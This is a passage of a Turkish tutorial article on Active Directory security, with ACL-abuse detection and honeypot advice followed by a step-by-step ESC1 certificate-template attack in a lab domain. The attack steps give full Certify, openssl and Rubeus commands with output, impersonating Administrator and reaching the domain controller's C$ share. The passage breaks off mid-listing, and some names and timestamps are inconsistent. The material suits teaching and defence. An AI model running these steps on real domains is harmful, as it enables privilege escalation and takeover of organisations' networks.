yoluna&lt;/strong&gt; sahip olur.&lt;/p&gt;

&lt;p&gt;Ayrıca &lt;strong&gt;discretionary access control lists (DACLs)&lt;/strong&gt; ve &lt;strong&gt;system access control lists (SACLs)&lt;/strong&gt; raporları oluşturmak için &lt;strong&gt;ADACLScanner&lt;/strong&gt; kullanabiliriz.&lt;/p&gt;




&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

&lt;p&gt;Yapabileceğimiz &lt;strong&gt;üç şey&lt;/strong&gt; var:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AD ortamında bunun bir sorun olup olmadığını tespit etmek için &lt;strong&gt;sürekli değerlendirmeye (continuous assessment)&lt;/strong&gt; başlayın.&lt;/li&gt;
&lt;li&gt;Yüksek ayrıcalıklara sahip çalışanları bunu yapmaktan kaçınmaları için &lt;strong&gt;eğitin.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Erişim yönetimi sürecinden mümkün olduğunca çok şeyi &lt;strong&gt;otomatikleştirin&lt;/strong&gt; ve yalnızca yönetici hesaplarına ayrıcalıklı erişim atayın; bu, yöneticilerin hesapları manuel olarak düzenlememesini sağlar, bu da ayrıcalıksız kullanıcılara devredilmiş hakların tanıtılması riskini azaltır.&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  Tespit (Detection)
&lt;/h4&gt;

&lt;p&gt;Neyse ki, &lt;strong&gt;AD nesnelerinin değiştirilip değiştirilmediğini tespit etmek için birçok yolumuz var.&lt;/strong&gt; Ne yazık ki, değiştirilen nesneler için üretilen event'ler &lt;strong&gt;eksiktir&lt;/strong&gt;, çünkü &lt;strong&gt;neyin değiştirildiği konusunda granüler görünürlük sağlamazlar.&lt;/strong&gt; Örneğin, yukarıda açıklanan ilk durumda, infa, mdr'ı bir &lt;strong&gt;SPN değeri ekleyerek&lt;/strong&gt; değiştirdi. Bunu yaparak, infa mdr'a karşı &lt;strong&gt;Kerberoasting&lt;/strong&gt; gerçekleştirme araçlarına sahip olacaktır. SPN değeri eklendiğinde, &lt;strong&gt;"A user account was changed" ("Bir kullanıcı hesabı değiştirildi")&lt;/strong&gt; mesajıyla &lt;strong&gt;Event ID 4738&lt;/strong&gt; üretilir. Ancak, bu event, &lt;strong&gt;SPN dahil tüm değiştirilen kullanıcı özelliklerini göstermez.&lt;/strong&gt; Bu nedenle, event yalnızca bir kullanıcının değiştirildiğini bildirir ama &lt;strong&gt;tam olarak neyin değiştirildiğini belirtmez&lt;/strong&gt; (yine de yararlı olabilecek makul miktarda alana sahiptir). Aşağıda, infa'nın mdr'ın Kullanıcı Nesnesine herhangi bir &lt;strong&gt;sahte (bogus) SPN değeri&lt;/strong&gt; eklerse üretilecek event yer almaktadır:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu11pqdf3kk9408n7girj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu11pqdf3kk9408n7girj.png" alt=" " width="800" height="774"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kırmızı notlar: &lt;strong&gt;"infa modified mdr"&lt;/strong&gt; (Account Name: infa → Target Account: mdr ilişkisini gösteriyor) ve &lt;strong&gt;"No details of what was changed"&lt;/strong&gt; (Changed Attributes alanındaki tüm değerlerin &lt;code&gt;-&lt;/code&gt; olduğunu, yani hiçbir gerçek değişikliğin gösterilmediğini vurguluyor).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ancak, bu event'i kullanarak, ayrıcalıksız bir kullanıcının başka bir kullanıcı üzerinde ayrıcalıklı eylemler gerçekleştirip gerçekleştirmediğini anlayabiliriz.&lt;/strong&gt; Örneğin, tüm ayrıcalıklı kullanıcılar &lt;strong&gt;"adminxxxx"&lt;/strong&gt; ile başlayan bir adlandırma kuralına sahipse, &lt;strong&gt;"adminxxxx" ile ilişkili olmayan herhangi bir değişiklik şüphelidir.&lt;/strong&gt; Eğer bir ACL kötüye kullanımı bir &lt;strong&gt;parola sıfırlamasına&lt;/strong&gt; yol açarsa, &lt;strong&gt;Event ID 4724&lt;/strong&gt; loglanacaktır.&lt;/p&gt;

&lt;p&gt;Benzer şekilde, infa ikinci senaryoyu gerçekleştirseydi, &lt;strong&gt;Event ID 4742&lt;/strong&gt; üretilirdi; bu da ne yazık ki sağlayabileceği bilgi açısından sınırlıdır; ancak, kullanıcı hesabı infa'un &lt;strong&gt;ele geçirilmiş ve kötü niyetli olarak kullanıldığını&lt;/strong&gt; bildirir. Aşağıdaki, infa Server01'i değiştirdiğinde üretilen Event ID 4742'dir:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frxbjbe709gzym717yigr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frxbjbe709gzym717yigr.png" alt=" " width="800" height="643"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h4&gt;
  
  
  Honeypot
&lt;/h4&gt;

&lt;p&gt;Yanlış yapılandırılmış ACL'ler, &lt;strong&gt;şüpheli davranış için etkili bir tespit mekanizması&lt;/strong&gt; olabilir. Buna yaklaşmanın &lt;strong&gt;iki yolu&lt;/strong&gt; vardır:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1) Daha önce tartışılan bir teknik aracılığıyla, honeypot olarak kullanılan bir kullanıcı hesabına nispeten yüksek ACL'ler atayın&lt;/strong&gt; — örneğin, sahte kimlik bilgilerinin description alanında açığa çıktığı bir kullanıcı. Hesaba ACL'lerin atanmış olması, bir düşmanı, hesabın açığa çıkan parolasının geçerli olup olmadığını denemeye ve doğrulamaya &lt;strong&gt;kışkırtabilir&lt;/strong&gt;, çünkü bu &lt;strong&gt;yüksek potansiyele&lt;/strong&gt; sahiptir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2) Herkesin veya birçok kullanıcının değiştirebileceği bir hesaba sahip olun.&lt;/strong&gt; Bu kullanıcı ideal olarak, &lt;strong&gt;gerçek kullanıcıları taklit etmek için bir miktar aktiviteye sahip&lt;/strong&gt; bir honeypot kullanıcısı olacaktır. Bu honeypot kullanıcı üzerinde meydana gelen &lt;strong&gt;herhangi bir değişiklik kötü niyetlidir&lt;/strong&gt;, çünkü onun üzerinde herhangi bir eylem gerçekleştirmek için &lt;strong&gt;geçerli bir neden yoktur&lt;/strong&gt; (hesabı gerçekçi göstermek için parolasını periyodik olarak sıfırlaması gerekebilecek yöneticiler hariç). Bu nedenle, honeypot kullanıcı ile ilişkili &lt;strong&gt;herhangi bir Event ID 4738&lt;/strong&gt;, bir &lt;strong&gt;alarmı tetiklemelidir.&lt;/strong&gt; Ayrıca, &lt;strong&gt;olgun organizasyonlar&lt;/strong&gt;, değişikliği gerçekleştiren kullanıcıyı &lt;strong&gt;anında devre dışı bırakabilir&lt;/strong&gt; ve kaynak cihaz üzerinde bir &lt;strong&gt;adli inceleme (forensic investigation)&lt;/strong&gt; başlatabilir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tamlık adına&lt;/strong&gt;, infa/mdr örneğine geri dönersek, mdr'nin hesabındaki bir değişiklik şu şekilde tespit edilirdi:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhgfq6ueb7o3m5ijz4s9d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhgfq6ueb7o3m5ijz4s9d.png" alt=" " width="800" height="766"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  BÖLÜM 15: PKI - ESC1
&lt;/h3&gt;




&lt;h4&gt;
  
  
  Açıklama (Description)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;SpectreOps&lt;/strong&gt;, &lt;strong&gt;"Certified Pre-Owned"&lt;/strong&gt; araştırma makalesini yayınladıktan sonra, &lt;strong&gt;Active Directory Certificate Services (AD CS)&lt;/strong&gt;, birçok nedenden dolayı tehdit aktörleri için &lt;strong&gt;en favori saldırı vektörlerinden biri&lt;/strong&gt; haline geldi, bunlar arasında:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Kimlik doğrulama için sertifika kullanmanın&lt;/strong&gt;, normal kullanıcı adı/parola kimlik bilgilerine göre &lt;strong&gt;daha fazla avantajı&lt;/strong&gt; vardır.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Çoğu PKI sunucusu&lt;/strong&gt;, SpectreOps tarafından keşfedilen sekiz saldırıdan &lt;strong&gt;en az birine karşı yanlış yapılandırılmış/savunmasızdır&lt;/strong&gt; (o zamandan beri çeşitli araştırmacılar daha fazla saldırı keşfetti).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Sertifikaları kullanmanın ve &lt;strong&gt;Certificate Authority'yi (CA)&lt;/strong&gt; ele geçirmenin &lt;strong&gt;çok sayıda avantajı&lt;/strong&gt; vardır:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kullanıcı ve makine sertifikaları 1+ yıl geçerlidir.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bir kullanıcı parolasını sıfırlamak sertifikayı geçersiz kılmaz.&lt;/strong&gt; Sertifikalarla, bir kullanıcının parolasını kaç kez değiştirdiği önemli değildir; sertifika hâlâ geçerli olacaktır (süresi dolmadıkça veya iptal edilmedikçe).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Yanlış yapılandırılmış şablonlar&lt;/strong&gt;, herhangi bir kullanıcı için sertifika elde etmeye izin verir.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CA'nın özel anahtarını ele geçirmek&lt;/strong&gt;, &lt;strong&gt;Golden Certificate'lar (Altın Sertifikalar)&lt;/strong&gt; sahtekarlığıyla sonuçlanır.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bu avantajlar, sertifikaları &lt;strong&gt;uzun vadeli kalıcılık (persistence)&lt;/strong&gt; için tercih edilen yöntem haline getirir. SpectreOps sekiz yetki yükseltme tekniğini açıklarken, biz &lt;strong&gt;nasıl çalıştığını göstermek için ilkini, ESC1'i&lt;/strong&gt; inceleyeceğiz. ESC1'in açıklaması:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&lt;/strong&gt; aracılığıyla domain yetki yükseltmesi.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h4&gt;
  
  
  Saldırı (Attack)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Adım 1 — PKI altyapısındaki savunmasızlıkları taramak için Certify'ı kullanma:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Başlamak için, PKI altyapısındaki savunmasızlıkları taramak için &lt;strong&gt;Certify&lt;/strong&gt;'ı kullanacağız:&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\Certify.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/vulnerable&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Çıktı:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] Action: Find certificate templates

[*] Using the search base 'CN=Configuration,DC=krysathal,DC=local'
[*] Listing info about the Enterprise CA 'krysathal-PKI-CA'

Enterprise CA Name                : krysathal-PKI-CA
DNS Hostname                      : PKI.krysathal.local
FullName                          : PKI.krysathal.local\krysathal-PKI-CA
Flags                             : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName                  : CN=krysathal-PKI-CA, DC=krysathal, DC=local
Cert Thumbprint                   : 7C59C4910A1C853128FE12C17C2A54D93D1EECAA
Cert Serial                       : 780E7B38C053CCAB469A33CFAAAB9ECE
Cert Start Date                   : 09/08/2026 14.07.25
Cert End Date                     : 09/08/2522 14.17.25
Cert Chain                        : CN=krysathal-PKI-CA,DC=krysathal,DC=local
UserSpecifiedSAN                  : Disabled
CA Permissions                    :
    Owner: BUILTIN\Administrators            S-1-5-32-544

    Access Rights                                           Principal

    Allow   Enroll                                          NT AUTHORITY\Authenticated Users   S-1-5-11
    Allow   ManageCA, ManageCertificates                    BUILTIN\Administrators             S-1-5-32-544
    Allow   ManageCA, ManageCertificates                    KRYSATHAL\Domain Admins            S-1-5-21-1518138621-4282902758-752445584-512
    Allow   ManageCA, ManageCertificates                    KRYSATHAL\Enterprise Admins        S-1-5-21-1518138621-4282902758-752445584-519

Enrollment Agent Restrictions : None
[!] Vulnerable Certificates Templates :

CA Name                                      : PKI.krysathal.local\krysathal-PKI-CA
Template Name                                : UserCert
Schema Version                               : 4
Validity Period                              : 10 years
Renewal Period                               : 6 weeks
msPKI-Certificates-Name-Flag                 : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag                        : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required               : 0
pkiextendedkeyusage                          : Client Authentication, Encrypting File System, Secure Email, Smart Card Log-on
mspki-certificate-application-policy         : Client Authentication, Encrypting File System, Secure Email, Smart Card Log-on
Permissions
    Enrollment Permissions
      Enrollment Rights              : KRYSATHAL\Domain Admins              S-1-5-21-1518138621-4282902758-752445584-512
                                        KRYSATHAL\Domain Users                S-1-5-21-1518138621-4282902758-752445584-513
                                        KRYSATHAL\Enterprise Admins           S-1-5-21-1518138621-4282902758-752445584-519
      Object Control Permissions
        Owner                               : KRYSATHAL\Administrator                    S-1-5-21-1518138621-4282902758-752445584-500
        WriteOwner Principals               : KRYSATHAL\Administrator                    S-1-5-21-1518138621-4282902758-752445584-500
                                               KRYSATHAL\Domain Admins                   S-1-5-21-1518138621-4282902758-752445584-512
                                               KRYSATHAL\Enterprise Admins               S-1-5-21-1518138621-4282902758-752445584-519
        WriteDacl Principals                : KRYSATHAL\Administrator                    S-1-5-21-1518138621-4282902758-752445584-500
                                               KRYSATHAL\Domain Admins                   S-1-5-21-1518138621-4282902758-752445584-512
                                               KRYSATHAL\Enterprise Admins               S-1-5-21-1518138621-4282902758-752445584-519
        WriteProperty Principals            : KRYSATHAL\Administrator                    S-1-5-21-1518138621-4282902758-752445584-500
                                               KRYSATHAL\Domain Admins                   S-1-5-21-1518138621-4282902758-752445584-512
                                               KRYSATHAL\Enterprise Admins               S-1-5-21-1518138621-4282902758-752445584-519
Certify completed in 00:00:00.9120044
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Certify çıktısındaki "Vulnerable Certificate Templates" bölümüne baktığımızda&lt;/strong&gt;, hakkında çok fazla bilgi olan &lt;strong&gt;tek bir şablon&lt;/strong&gt; listelendiğini göreceğiz. Ortamdaki CA'nın adının &lt;strong&gt;PKI.kersthal.local\kersthal-PKI-CA&lt;/strong&gt; olduğunu ve savunmasız şablonun &lt;strong&gt;UserCert&lt;/strong&gt; olarak adlandırıldığını söyleyebiliriz. Şablon şu nedenlerle savunmasızdır:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tüm Domain kullanıcıları&lt;/strong&gt; bu şablonda bir sertifika talep edebilir.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt;&lt;/strong&gt; bayrağı mevcuttur, bu da talep edenin &lt;strong&gt;SAN'ı belirtmesine&lt;/strong&gt; izin verir (bu nedenle, herhangi bir kullanıcı, ayrıcalıklılar dahil, ağdaki &lt;strong&gt;herhangi bir başka kullanıcı olarak&lt;/strong&gt; sertifika talep edebilir).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Yönetici onayı gerekli değildir&lt;/strong&gt; (sertifika, onay olmadan talepten hemen sonra verilir).&lt;/li&gt;
&lt;li&gt;Sertifika &lt;strong&gt;'Client Authentication' için kullanılabilir&lt;/strong&gt; (giriş/kimlik doğrulama için kullanabiliriz).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Adım 2 — Şablonu istismar etme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Bu şablonu kötüye kullanmak için, &lt;strong&gt;Certify'ı kullanacağız&lt;/strong&gt; ve CA'nın tam adını, savunmasız şablonun adını ve bir kullanıcının adını (örneğin, &lt;strong&gt;Administrator&lt;/strong&gt;) belirterek &lt;strong&gt;&lt;code&gt;request&lt;/code&gt;&lt;/strong&gt; argümanını geçireceğiz:&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\Certify.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/ca:PKI.krysathal.local\krysathal-PKI-CA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/template:UserCert&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/altname:Administrator&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Çıktı:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] Action: Request a Certificates

[*] Current user context             : KRYSATHAL\infa
[*] No subject name specified, using current context as subject.
[*] Template                         : UserCert
[*] Subject                          : CN=infa, OU=KrysathalUsers, DC=krysathal, DC=local
[*] AltName                          : Administrator

[*] Certificate Authority            : PKI.krysathal.local\krysathal-PKI-CA

[*] CA Response                      : The certificate had been issued.
[*] Request ID                       : 36

[*] cert.pem :

-----BEGIN RSA PRIVATE KEY-----
MIIE...
&amp;lt;SNIP&amp;gt;
&amp;lt;SNIP&amp;gt;
wgP7EwPpxHKOrlZr6H+5lS58u/9EuIgdSk1X3VWuZvWRdjL15ovn
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGLzCCBRegAwIBAgITFgAAACx6zV6bbfN1ZQAAAAAALDANBgkqhkiG9w0BAQsF
&amp;lt;SNIP&amp;gt;
&amp;lt;SNIP&amp;gt;
eVAB
-----END CERTIFICATE-----

[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Certify completed in 00:00:15.8803493
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Adım 3 — Sertifikayı PFX formatına dönüştürme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Saldırı bittiğinde, &lt;strong&gt;başarıyla bir sertifika elde edeceğiz.&lt;/strong&gt; Komut bir &lt;strong&gt;PEM sertifikası&lt;/strong&gt; üretir ve bunu &lt;strong&gt;base64&lt;/strong&gt; olarak görüntüler. PEM sertifikasını &lt;strong&gt;PFX formatına&lt;/strong&gt; dönüştürmemiz gerekiyor; bunu Certify çıktısında belirtilen komutu çalıştırarak yaparız (parola sorulduğunda, herhangi bir parola sağlamadan Enter'a basın), ancak güvenli tarafta olmak için, önce PEM dosyasının &lt;strong&gt;kötü formatlanmasını önlemek&lt;/strong&gt; için aşağıdaki komutu çalıştıralım:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'s/\s\s\+/\n/g'&lt;/span&gt; cert.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ardından Certify'ın çıktısında belirtilen &lt;strong&gt;openssl komutunu&lt;/strong&gt; çalıştırabiliriz:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openssl pkcs12 &lt;span class="nt"&gt;-in&lt;/span&gt; cert.pem &lt;span class="nt"&gt;-keyex&lt;/span&gt; &lt;span class="nt"&gt;-CSP&lt;/span&gt; &lt;span class="s2"&gt;"Microsoft Enhanced Cryptographic Provider v1.0"&lt;/span&gt; &lt;span class="nt"&gt;-export&lt;/span&gt; &lt;span class="nt"&gt;-out&lt;/span&gt; cert.pfx
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Adım 4 — Sertifikayı kullanarak TGT talep etme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Artık sertifikayı &lt;strong&gt;kullanılabilir PFX formatında&lt;/strong&gt; (Rubeus'un desteklediği) elde ettiğimize göre, &lt;strong&gt;Administrator hesabı için bir Kerberos TGT talep edebilir&lt;/strong&gt; ve sertifika ile kimlik doğrulayabiliriz:&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\Rubeus.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;asktgt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/domain:krysathal.local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/user:Administrator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/certificate:cert.pfx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/dc:dc1.krysathal.local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/ptt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Çıktı:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=infa, OU=KrysathalUsers, DC=krysathal, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'krysathal.local\Administrator'
[+] TGT request successful!

[*] base64(ticket.kirbi):

doIGVjCCBlKgAwIBBaEDAgEWooIFaTCCBWVhggVhMIIFXaADAgEFoQ0bC0VBR0xFLkxPQ0FMoi
AwHqAD
[...]
[+] Ticket successfully imported!

    ServiceName                    :    krbtgt/krysathal.local
    ServiceRealm                   :    KRYSATHAL.LOCAL
    UserName                       :    Administrator
    UserRealm                      :    KRYSATHAL.LOCAL
    StartTime                      :    14/09/2026 21.04.53
    EndTime                        :    20/09/202607.04.53
    RenewTill                      :    26/09/2026 21.04.53
    Flags                          :    name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                        :    rc4_hmac
    Base64(key)                    :    KQTCgNhj3sh4yXvrBwTfeg==
    ASREP (key)                    :    2EB79553702442F11E93044E3C915490
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Adım 5 — Başarılı kimlik doğrulama sonrası DC1'e erişme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Başarılı kimlik doğrulama sonrası&lt;/strong&gt;, DC1'deki &lt;strong&gt;C$ paylaşımının içeriğini listeleyebileceğiz:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\\dc1\c&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="n"&gt;Directory:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\\dc1\c&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Mode&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="nx"&gt;LastWriteTime&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="o"&gt;-------------&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d-----&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;9/15/2026&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;6:30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="nx"&gt;DFSReports&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d-----&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;9/13/2026&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;11:23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="nx"&gt;Mimikatz&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d-----&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nx"&gt;9/1/2026&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;9:49&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="nx"&gt;PerfLogs&lt;/span&gt;&lt;span class="w"&gt;
